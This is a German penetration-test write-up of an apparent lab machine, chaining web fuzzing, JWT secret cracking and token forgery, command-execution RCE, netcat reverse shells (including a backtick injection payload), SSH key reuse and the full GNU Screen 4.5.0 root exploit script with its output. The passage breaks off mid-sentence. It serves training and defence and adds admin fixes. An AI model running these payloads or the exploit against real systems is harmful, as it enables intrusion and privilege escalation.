Bewertung: * `/login`, `/LogIn`: Antworten mit "Identifiants invalides" (Ungültige Anmeldedaten). * `/execute`: Antwortet mit "Unauthorized". * `/singin`: Existiert nicht ("Cannot POST /singin"). * `/register`: Antwortet mit "The "role" field is not valid". Dies ist ein wichtiger Hinweis! Ein Registrierungs-Endpunkt existiert und erwartet ein Feld namens `role`.
Empfehlung (Pentester): Interagieren Sie weiter mit dem `/register`-Endpunkt. Senden Sie eine POST-Anfrage mit JSON-Body und einem `role`-Feld. Fuzzing Sie mögliche Werte für `role` (z.B. `user`, `admin`) und andere potenzielle Felder (`username`, `password`).
Identifiants invalides
Unauthorized
Identifiants invalides
Error Cannot POST /singin
The "role" field is not valid
Analyse: `ffuf` wird verwendet, um das Feld `role` im JSON-Body der POST-Anfrage an `/register` zu fuzzing. Es werden verschiedene Rollen aus einer Wortliste getestet.
Bewertung: Zwei interessante Reaktionen werden beobachtet: * `"role":"user"` führt zu Status `500 Internal Server Error`. Dies deutet oft darauf hin, dass die Rolle gültig ist, aber andere erforderliche Felder (wie `username`, `password`) fehlen. * `"role":"admin"` führt zu Status `401 Unauthorized`. Dies deutet darauf hin, dass die Rolle `admin` existiert, aber die Registrierung als Admin nicht erlaubt ist oder zusätzliche Authentifizierung erfordert.
Empfehlung (Pentester): Versuchen Sie, einen Benutzer mit `role: user` zu registrieren, indem Sie die Felder `username` und `password` zum JSON-Body hinzufügen. Testen Sie anschließend, ob eine Registrierung mit `role: admin` möglich ist (erwartet wird "Not authorized").
/'___\ /'___\ /'___\ /\ \__/\ \__ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,_\ \ ,_\ __ __ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \/\ \ \/\ \/\ \ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \ \_\ \ \_\ \ \_\ \ \ \_\ \ \_\ \ \____/ \ \_\ \ \__\\ \__\\ \____/ \/_/ \/_/ \/___/ \/_/ \/__/ \/__/ \/___/ v2.0.0-dev ________________________________________________ :: Method : POST :: URL : http://192.168.2.122:3000/register :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Header : Content-Type: application/json :: Data : {"role":"FUZZ"} :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 56ms] * FUZZ: user [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 41ms] * FUZZ: admin :: Progress: [8160794/8160794] :: Job [1/1] :: 1003 req/sec :: Duration: [1:26:35] :: Errors: 0 ::
Analyse: Es wird versucht, sich explizit mit `role: admin` zu registrieren.
Bewertung: Wie erwartet, schlägt dies mit "Not authorized !" fehl.
Not authorized !
Analyse: Es werden zwei Versuche unternommen, einen Benutzer mit `role: user` zu registrieren. Zuerst mit `username: admin`, dann mit `username: ben`.
Bewertung: * Versuch 1 (`username: admin`): Schlägt fehl mit "Username already exists". Dies bestätigt, dass ein Admin-Benutzer existiert. * Versuch 2 (`username: ben`): Ist erfolgreich ("Registration OK").
Empfehlung (Pentester): Sie haben erfolgreich den Benutzer `ben` mit Passwort `ben` und Rolle `user` registriert. Versuchen Sie nun, sich mit diesen Daten am `/login`-Endpunkt anzumelden, um einen Authentifizierungs-Token (wahrscheinlich JWT) zu erhalten.
Username already exists
Registration OK
Analyse: Nach der erfolgreichen Registrierung wurde (vermutlich durch einen `/login`-Aufruf, der hier nicht gezeigt wird) ein JSON Web Token (JWT) erhalten. Der JWT wird auf jwt.io analysiert. Der Header und Payload werden dekodiert.
Bewertung: * JWT: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMjkwNDUxfQ.FL-PM6gc0SwHSjZFhRUpTTtCMfUlrgzK0wsFjoU0bMg` * Header: `{"alg": "HS256", "typ": "JWT"}` (Standard HS256 Algorithmus) * Payload: `{"username": "ben", "role": "user", "iat": 1683290451}` (Enthält Benutzername, Rolle und Ausstellungszeitpunkt) Das Ziel ist nun, diesen Token zu manipulieren, um die Rolle auf `admin` zu ändern. Da HS256 verwendet wird, muss der geheime Schlüssel (Secret) bekannt sein, um die Signatur neu zu berechnen.
Empfehlung (Pentester): Versuchen Sie, das HS256-Secret mit Tools wie `john` oder `hashcat` zu cracken. Speichern Sie den JWT in einer Datei und verwenden Sie die entsprechende Hash-Formatkennung (z.B. `HMAC-SHA256` für John). Verwenden Sie eine gute Wortliste.
# JWT erhalten (vermutlich von /login nach Registrierung) # Analyse auf https://jwt.io/ # Full JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMjkwNDUxfQ.FL-PM6gc0SwHSjZFhRUpTTtCMfUlrgzK0wsFjoU0bMg # Decoded Header: { "alg": "HS256", "typ": "JWT" } # Decoded Payload: { "username": "ben", "role": "user", "iat": 1683290451 }
Analyse: Es wird versucht, mit dem erhaltenen `user`-JWT auf den `/execute`-Endpunkt zuzugreifen.
Bewertung: Dies schlägt mit "Not authorized" fehl. Der `user`-Rolle ist der Zugriff auf `/execute` nicht gestattet.
Empfehlung (Pentester): Cracken Sie das JWT-Secret, um einen Admin-Token zu fälschen.
Not authorized
Analyse: Der erhaltene JWT wird in eine Datei `jwt.hash` gespeichert. `john` wird mit der `rockyou.txt`-Wortliste verwendet, um das HS256-Secret zu cracken.
Bewertung: `john` findet das Secret erfolgreich: `nopassword`. Dies ist ein extrem schwaches Secret.
Empfehlung (Pentester): Fälschen Sie nun den JWT. Ändern Sie im Payload `username` und `role` auf `admin`. Verwenden Sie das Secret `nopassword` und den Algorithmus `HS256`, um die neue Signatur zu generieren (z.B. mit jwt.io oder einem Skript).
Empfehlung (Admin): Verwenden Sie niemals schwache oder erratbare Secrets für JWTs. Generieren Sie lange, zufällige Secrets und speichern Sie sie sicher. Erwägen Sie die Verwendung asymmetrischer Algorithmen (RS256 etc.), bei denen der private Schlüssel zum Signieren nicht auf dem Server preisgegeben werden muss (obwohl hier HS256 verwendet wird).
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword (?)
1g 0:00:00:00 DONE (2023-05-05 14:50) 1.204g/s 29609p/s 29609c/s 29609C/s Cl0udP4ss40p4city#8700..q8zo8wzq
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: Der Prozess des Fälschens des JWT wird beschrieben. Der Payload wird geändert (`username: admin`, `role: admin`) und das gefundene Secret (`nopassword`) wird verwendet, um die neue Signatur zu berechnen. Das resultierende gefälschte Admin-JWT wird gezeigt.
Bewertung: Der Prozess ist korrekt beschrieben. Das neue JWT (`eyJ...up0`) sollte nun Admin-Privilegien gewähren.
Empfehlung (Pentester): Verwenden Sie dieses gefälschte Admin-JWT, um Anfragen an den `/execute`-Endpunkt zu senden.
# JWT Fälschungsprozess (z.B. mit https://jwt.io/) # Original Payload: { "username": "ben", "role": "user", "iat": 1683290451 } # Geändeter Payload: { "username": "admin", "role": "admin", "iat": 1683290451 } # Verwendetes Secret (gecrackt): nopassword # Resultierendes gefälschtes JWT (Header + Neuer Payload + Neue Signatur): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMjkwNDUxfQ.5Mtaa6a9lMlGVjYgw6eiDs9n4aXKmrXeljztDq7xup0
Analyse: Es wird versucht, den `/execute`-Endpunkt mit dem gefälschten Admin-JWT und dem Parameter `cmd=id` aufzurufen.
Bewertung: Der Versuch schlägt fehl mit einem `TypeError [ERR_INVALID_ARG_TYPE]`. Die Fehlermeldung aus `app.js` deutet darauf hin, dass die Anwendung einen Dateinamen erwartet (`The "file" argument must be of type string`), aber `undefined` erhalten hat, weil sie versucht, auf einen Parameter zuzugreifen, der nicht `cmd` heißt. Der Parameter für die Befehlsausführung muss einen anderen Namen haben.
Empfehlung (Pentester): Fuzzing des Parameter*namens* (des Schlüssels im JSON-Body) für den `/execute`-Endpunkt, während ein fester Wert (z.B. `id`) verwendet wird. Benutzen Sie `ffuf` mit einer Liste gängiger Parameternamen (z.B. `command`, `exec`, `cmd`, `run`).
Error TypeError [ERR_INVALID_ARG_TYPE]: The "file" argument must be of type string. Received undefined
at validateString (internal/validators.js:120:11)
at normalizeSpawnArguments (child_process.js:411:3)
at spawn (child_process.js:547:16)
at Object.execFile (child_process.js:237:17)
at exec (child_process.js:158:25)
at /opt/login-app/app.js:69:3
at Layer.handle [as handle_request] (/opt/login-app/node_modules/express/lib/router/layer.js:95:5)
at next (/opt/login-app/node_modules/express/lib/router/route.js:144:13)
at /opt/login-app/app.js:112:5
at /opt/login-app/node_modules/jsonwebtoken/verify.js:261:12
Analyse: `ffuf` wird verwendet, um den *Namen* des Parameters im JSON-Body zu fuzzing. `-d '{"FUZZ":"id"}'`. Es wird eine Wortliste mit gängigen Objekt-/Parameternamen verwendet. Antworten mit 54 Bytes werden ignoriert (`-fw 54`).
Bewertung: `ffuf` findet den korrekten Parameternamen: `command`. Die Anfrage mit `{"command":"id"}` liefert Status 200.
Empfehlung (Pentester): Verwenden Sie nun den Parameter `command` im JSON-Body, um Befehle über den `/execute`-Endpunkt mit dem Admin-JWT auszuführen.
/'___\ /'___\ /'___\ /\ \__/\ \__ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,_\ \ ,_\ __ __ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \/\ \ \/\ \/\ \ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \ \_\ \ \_\ \ \_\ \ \ \_\ \ \_\ \ \____/ \ \_\ \ \__\\ \__\\ \____/ \/_/ \/_/ \/___/ \/_/ \/__/ \/__/ \/___/ v2.0.0-dev ________________________________________________ :: Method : POST :: URL : http://192.168.2.122:3000/execute :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/api/objects.txt :: Header : Content-Type: application/json, Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMjkwNDUxfQ.5Mtaa6a9lMlGVjYgw6eiDs9n4aXKmrXeljztDq7xup0 :: Data : {"FUZZ":"id"} :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Filer : Response words: 54 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 43ms] * FUZZ: command :: Progress: [3132/3132] :: Job [1/1] :: 147 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
Analyse: Es werden `curl`-Anfragen mit dem gefälschten Admin-JWT und dem korrekten Parameter `command` gesendet, um Befehle (`id`, `cat /etc/passwd`, `grep bash /etc/passwd`) auszuführen.
Bewertung: Die Befehlsausführung ist erfolgreich! * `id`: Zeigt `uid=33(www-data)`. RCE als Webserver-Benutzer ist bestätigt. * `cat /etc/passwd` & `grep bash /etc/passwd`: Zeigen die Benutzerliste. Relevant ist der Benutzer `doro` mit `/bin/bash`.
Empfehlung (Pentester): Nutzen Sie die RCE-Schwachstelle, um eine Reverse Shell zu erhalten und interaktiven Zugriff als `www-data` zu bekommen.
Empfehlung (Admin): **Kritische Schwachstelle!** Die Anwendung erlaubt authentifizierten Admins (und durch das schwache JWT-Secret jedem, der den Token fälscht) die Ausführung beliebiger Befehle als `www-data`. Der Code in `app.js`, der den `command`-Parameter verarbeitet und `exec` oder `spawn` aufruft, muss dringend überarbeitet werden, um Command Injection zu verhindern. Validieren und bereinigen Sie die Eingaben rigoros oder vermeiden Sie die direkte Befehlsausführung. Beheben Sie die JWT-Schwachstelle (starkes Secret).
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/opt/login-app:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false doro:x:1000:1000:,,,:/home/doro:/bin/bash
root:x:0:0:root:/root:/bin/bash doro:x:1000:1000:,,,:/home/doro:/bin/bash
Analyse: Eine Reverse Shell wird initiiert. Ein `netcat`-Listener wird auf dem Angreifer-System auf Port 9001 gestartet. Dann wird über die RCE-Schwachstelle der Befehl `nc -e /bin/bash [Angreifer-IP] 9001` ausgeführt.
Bewertung: Die Reverse Shell ist erfolgreich. Der Listener meldet eine eingehende Verbindung vom Zielsystem. Der Angreifer hat nun eine interaktive Shell als `www-data`. Initialer Zugriff erreicht.
Empfehlung (Pentester): Stabilisieren Sie die erhaltene Shell (z.B. mit Python PTY, `stty raw -echo`), um die Benutzerfreundlichkeit zu verbessern. Beginnen Sie dann mit der lokalen Enumeration als `www-data`, um Wege zur Rechteausweitung (wahrscheinlich über den Benutzer `doro`) zu finden.
listening on [any] 9001 ...
connect to [192.168.2.130] from (UNKNOWN) [192.168.2.122] 55696
Analyse: Die erhaltene Reverse Shell wird mit Standardmethoden stabilisiert (`python3 -c 'import pty...'`, `export TERM=xterm`, `stty raw -echo; fg`).
Bewertung: Die Shell ist nun interaktiver und unterstützt z.B. Tab-Vervollständigung und das Löschen von Zeichen korrekt.
[1] + continued nc -lvnp 9001
Analyse: Als `www-data` wird das aktuelle Verzeichnis (`/opt/login-app`) und die Bash-Historie untersucht.
Bewertung: `ls -la` zeigt die Dateien der Node.js-Anwendung. Die `.bash_history` ist entscheidend: Sie zeigt, dass jemand (vermutlich `www-data` oder ein anderer Benutzer mit Zugriff auf diese Shell) versucht hat, `/usr/bin/python3 /home/doro/tools.py --ping` mittels `sudo -u doro` auszuführen. Dies bestätigt die Vermutung aus der `/etc/passwd`-Analyse und gibt den Pfad zur nächsten Eskalation vor: `www-data` kann das Python-Skript `tools.py` als Benutzer `doro` ausführen.
Empfehlung (Pentester): Untersuchen Sie das Skript `/home/doro/tools.py` auf Schwachstellen, insbesondere im Zusammenhang mit der `--ping`-Option. Führen Sie `sudo -l` als `www-data` aus, um die Berechtigung zu bestätigen (obwohl die History ein starker Hinweis ist).
total 124 drwxr-xr-x 3 www-data www-data 4096 Apr 6 19:26 . drwxr-xr-x 3 root root 4096 Mar 1 06:25 .. -rw-r--r-- 1 www-data www-data 3271 Mar 1 21:10 app.js -rw-r--r-- 1 www-data www-data 3169 Mar 2 19:44 app.js.save -rw------- 1 www-data www-data 153 Apr 6 19:43 .bash_history drwxr-xr-x 127 www-data www-data 4096 Mar 1 21:10 node_modules -rw-r--r-- 1 www-data www-data 399 Mar 1 21:10 package.json -rw-r--r-- 1 www-data www-data 95944 Mar 1 21:10 package-lock.json
clear cd /home/doro/ clear sudo -l /usr/bin/python3 /home/doro/tools.py --ping sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping clear crontab -l
Analyse: Das Python-Skript `/home/doro/tools.py` wird analysiert. Zuerst wird die Hilfe aufgerufen (`--help`), dann der Quellcode (`cat`) und die Berechtigungen (`ls -la`) angezeigt.
Bewertung: * `--help`: Zeigt die Optionen `--ping` und `--traceroute`. * `cat`: Der Code der `ping()`-Funktion ist entscheidend. Sie nimmt eine IP-Adresse als Input, prüft auf einige verbotene Zeichen (`&`, `;`, `(`, `)`, `|`, `>`, `<`, `*`, `?`), aber **nicht** auf Backticks (`) oder `$()`! Dann führt sie `os.system('ping -c 2 ' + ip_address)` aus. Dies ist eine klare Command Injection-Schwachstelle. Da `www-data` dieses Skript als `doro` ausführen kann, können Befehle als `doro` injiziert werden. * `ls -la`: Das Skript gehört `root:root` und ist nur für Root schreibbar, was aber irrelevant ist, da es über `sudo -u doro` ausgeführt wird.
Empfehlung (Pentester): Nutzen Sie die Command Injection aus. Führen Sie `sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping` aus. Geben Sie bei der Abfrage "Enter an IP address:" einen Payload ein, der Backticks oder `$()` verwendet, um eine Reverse Shell zu starten (z.B. `` `nc -e /bin/bash [Angreifer-IP] [Port]` ``). Starten Sie zuvor einen Listener auf dem Angreifer-System.
Empfehlung (Admin): **Kritische Schwachstelle!** Das Python-Skript muss dringend überarbeitet werden. Verwenden Sie niemals `os.system` mit Benutzereingaben. Nutzen Sie sicherere Module wie `subprocess` und übergeben Sie Argumente als Liste, nicht als String, um Shell-Interpretation zu vermeiden. Die Blacklist ist unzureichend. Validieren Sie IP-Adressen korrekt. Entfernen Sie die unsichere `sudo`-Regel, die `www-data` erlaubt, dieses Skript als `doro` auszuführen.
Invalid option. Usage: python3 network_tool.py
import os import sys def main(): if len(sys.argv) < 2: print_help() return option = sys.argv[1] if option == "--ping": ping() elif option == "--traceroute": traceroute_ip() else: print("Invalid option.") print_help() def print_help(): print("Usage: python3 network_tool.py
-rw-r--r-- 1 root root 1380 Mar 7 08:41 /home/doro/tools.py
Analyse: Weitere Enumerationsbefehle werden ausgeführt: SUID-Dateien und Netzwerk-Sockets.
Bewertung: * SUID-Dateien: Zeigt Standard-Binaries und `/usr/bin/screen`. Die Version ist wichtig (LinPEAS findet später 4.5.0). * `ss`: Bestätigt SSH (22), Node.js (3000) und MySQL (3306 auf localhost).
Empfehlung (Pentester): Die Command Injection in `tools.py` ist der klarste Weg zu `doro`. Behalten Sie die `screen`-Version für die Root-Eskalation im Hinterkopf.
412370 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 420932 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign 395793 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 391773 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 391769 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 395426 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 391770 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 395267 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 391772 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 439943 1744 -rwsr-sr-x 1 root root 1785104 Mar 3 07:29 /usr/bin/screen # Vulnerable Version! 439794 180 -rwsr-xr-x 1 root root 182600 Jan 14 14:29 /usr/bin/sudo 395795 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=433,fd=3)) LISTEN 0 511 0.0.0.0:3000 0.0.0.0:* users:(("node",pid=414,fd=18)) LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=489,fd=30)) LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=433,fd=4))
Analyse: Die Command Injection-Schwachstelle in `tools.py` wird ausgenutzt. 1. Ein `netcat`-Listener wird auf dem Angreifer-System auf Port 4444 gestartet. 2. Das Python-Skript wird über `sudo -u doro` ausgeführt. 3. Bei der Aufforderung "Enter an IP address:" wird der Payload `` `nc -e /bin/bash 192.168.2.130 4444` `` eingegeben. Die Backticks bewirken, dass der `nc`-Befehl von der Shell ausgeführt wird, bevor `ping` versucht, ihn als IP zu interpretieren. 4. Der Listener empfängt die Verbindung. Die Shell wird stabilisiert.
Bewertung: Die Eskalation zu `doro` ist erfolgreich! Der Angreifer hat nun eine interaktive Shell als Benutzer `doro`.
Empfehlung (Pentester): Wechseln Sie ins Home-Verzeichnis von `doro`, suchen Sie nach der User-Flag und weiteren Hinweisen für die Root-Eskalation. Nutzen Sie die bereits bekannte Information über die verwundbare `screen`-Version.
listening on [any] 4444 ...
Enter an IP address: `nc -e /bin/bash 192.168.2.130 4444`
connect to [192.168.2.130] from (UNKNOWN) [192.168.2.122] 43702
Analyse: Als Benutzer `doro` wird das Home-Verzeichnis untersucht und die User-Flag gefunden. Außerdem wird ein SSH-Schlüsselpaar (`id_rsa`, `id_rsa.pub`) entdeckt.
Bewertung: Die User-Flag `ccd839df5504a7ace407b5aeca436e81` wird erfolgreich gelesen. Das Vorhandensein eines SSH-Schlüssels ist interessant. Durch Umbenennen von `id_rsa.pub` in `authorized_keys` kann sich der Angreifer (der den privaten Schlüssel `id_rsa` nun besitzt) per SSH als `doro` anmelden, was eine stabilere Verbindung ermöglicht als die Reverse Shell.
Empfehlung (Pentester): Kopieren Sie den privaten Schlüssel `id_rsa` auf Ihre Angreifer-Maschine. Benennen Sie `id_rsa.pub` auf dem Ziel zu `authorized_keys` um. Melden Sie sich per SSH als `doro` an. Fahren Sie dann mit der Root-Eskalation fort, wahrscheinlich über die bekannte `screen`-Schwachstelle.
total 36 drwxr-xr-x 4 doro doro 4096 Mar 8 19:38 . drwxr-xr-x 3 root root 4096 Mar 6 19:24 .. lrwxrwxrwx 1 root root 9 Mar 3 18:33 .bash_history -> /dev/null -rw-r--r-- 1 doro doro 220 Mar 3 18:27 .bash_logout -rw-r--r-- 1 doro doro 3526 Mar 3 18:27 .bashrc drwxr-xr-x 3 doro doro 4096 Mar 4 09:39 .local -rw-r--r-- 1 doro doro 807 Mar 3 18:27 .profile drwx------ 2 doro doro 4096 Mar 4 09:41 .ssh -rw-r--r-- 1 root root 1380 Mar 7 08:41 tools.py -rwx------ 1 doro doro 33 Mar 3 18:28 user.txt
ccd839df5504a7ace407b5aeca436e81
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn # ... (Rest des Schlüssels) ... -----END OPENSSH PRIVATE KEY-----
total 16 drwx------ 2 doro doro 4096 Mar 4 09:41 . drwxr-xr-x 4 doro doro 4096 Mar 8 19:38 .. -rw------- 1 doro doro 2602 Mar 4 09:41 id_rsa -rw-r--r-- 1 doro doro 565 Mar 4 09:41 id_rsa.pub
Linux aurora.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 The programs included with the Debian GNU/Linux system are free software; # ... (Login Banner) ...
Analyse: Als Benutzer `doro` wird das Enumerationsskript `linpeas.sh` heruntergeladen, ausführbar gemacht und ausgeführt. LinPEAS findet die SUID-Datei `/usr/bin/screen` und hebt sie hervor, was auf eine bekannte Schwachstelle hindeutet (GNU Screen 4.5.0). Ein bekannter Exploit für diese Version (CVE-2017-5229), der `ld.so.preload` missbraucht, wird in eine Datei `exploit.sh` kopiert, ausführbar gemacht und ausgeführt.
Bewertung: LinPEAS identifiziert korrekt die potenziell verwundbare `screen`-Version. Der verwendete Exploit-Code ist ein bekannter Public Exploit für diese Schwachstelle. Der Exploit funktioniert wie erwartet: Er erstellt eine Bibliothek (`libhax.so`) und eine Shell-Datei (`rootshell`), manipuliert `/etc/ld.so.preload` über eine `screen`-Funktion, um die Bibliothek beim nächsten Start eines Programms zu laden. Die Bibliothek setzt dann das SUID-Bit auf `/tmp/rootshell`. Der anschließende Aufruf von `/tmp/rootshell` führt zu einer Root-Shell. Der Befehl `id` bestätigt `uid=0(root)`.
Empfehlung (Pentester): Root-Zugriff erfolgreich erlangt! Suchen und lesen Sie die Root-Flag (oft in `/root/root.txt`).
Empfehlung (Admin): **Kritische Schwachstelle!** Die verwendete `screen`-Version ist veraltet und verwundbar. Aktualisieren Sie `screen` dringend auf eine gepatchte Version oder entfernen Sie das SUID-Bit (`chmod u-s /usr/bin/screen`), falls SUID nicht benötigt wird. Überprüfen Sie das System auf Kompromittierungen.
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
--2023-05-05 15:53:38-- http://192.168.2.130:8001/linpeas.sh Connecting to 192.168.2.130:8001... connected. HTTP request sent, awaiting response... 200 OK Length: 827827 (808K) [text/x-sh] Saving to: ‘linpeas.sh’ linpeas.sh 100%[=============================>] 808.42K --.-KB/s in 0.01s 2023-05-05 15:53:38 (66.5 MB/s) - ‘linpeas.sh’ saved [827827/827827]
# ... (Linpeas Output) ... [+] Files with capabilities (limited entries) # ... [+] Setuid files # ... -rwsr-sr-x 1 root root 1.8M Mar 3 07:29 /usr/bin/screen # Highlighted by LinPEAS # ... (Weitere SUID Dateien) ... # ... (Ende Linpeas Output) ...
#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include#include #include __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell
~ gnu/screenroot ~ [+] First, we create our shell and library... /tmp/libhax.c: In function ‘dropshell’: /tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration] 7 | chmod("/tmp/rootshell", 04755); | ^~~~~ /tmp/rootshell.c: In function ‘main’: /tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration] 3 | setuid(0); | ^~~~~~ # ... (weitere Compiler-Warnungen) ... [+] Now we create our /etc/ld.so.preload file... [+] Triggering... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-doro.
uid=0(root) gid=0(root) groups=0(root),1000(doro)
Kurzbeschreibung: Dieser Proof of Concept beschreibt die Ausnutzung einer lokalen Privilege Escalation Schwachstelle in GNU Screen Version 4.5.0 (CVE-2017-5229). Die Schwachstelle erlaubt es einem lokalen Benutzer, durch Manipulation der `/etc/ld.so.preload`-Datei mittels einer Funktion von `screen`, beim nächsten Aufruf eines SUID-Binaries (wie `screen` selbst) eigenen Code als `root` auszuführen.
Voraussetzungen: * Lokaler Zugriff als Benutzer `doro`. * `/usr/bin/screen` muss SUID-Root gesetzt haben und Version 4.5.0 sein. * Ein C-Compiler (`gcc`) muss auf dem System verfügbar sein. * Schreibrechte in `/tmp`.
Schritte zur Ausnutzung: 1. **Payload-Vorbereitung:** Es werden zwei C-Dateien erstellt und kompiliert: * `libhax.c`: Eine Shared Library, die beim Laden (`__attribute__ ((__constructor__))`) `/tmp/rootshell` dem Benutzer `root` zuweist (`chown`) und das SUID-Bit setzt (`chmod 04755`). Sie entfernt außerdem `/etc/ld.so.preload`, um Endlosschleifen zu vermeiden. Kompiliert zu `/tmp/libhax.so`. * `rootshell.c`: Ein einfaches Programm, das `setuid(0)`, `setgid(0)` usw. aufruft und dann eine Shell (`/bin/sh`) startet. Kompiliert zu `/tmp/rootshell`. 2. **ld.so.preload Manipulation:** * `cd /etc`: Wechsel in das `/etc`-Verzeichnis (wo `ld.so.preload` liegt). * `umask 000`: Setzt die umask, um sicherzustellen, dass die erstellte Datei schreibbar ist. * `screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"`: Nutzt eine Funktion von `screen` (`-L` loggt in eine Datei, `-D -m` startet im detached Modus), um den Pfad zur bösartigen Bibliothek (`/tmp/libhax.so`, mit einem führenden Newline `\x0a`) in die Datei 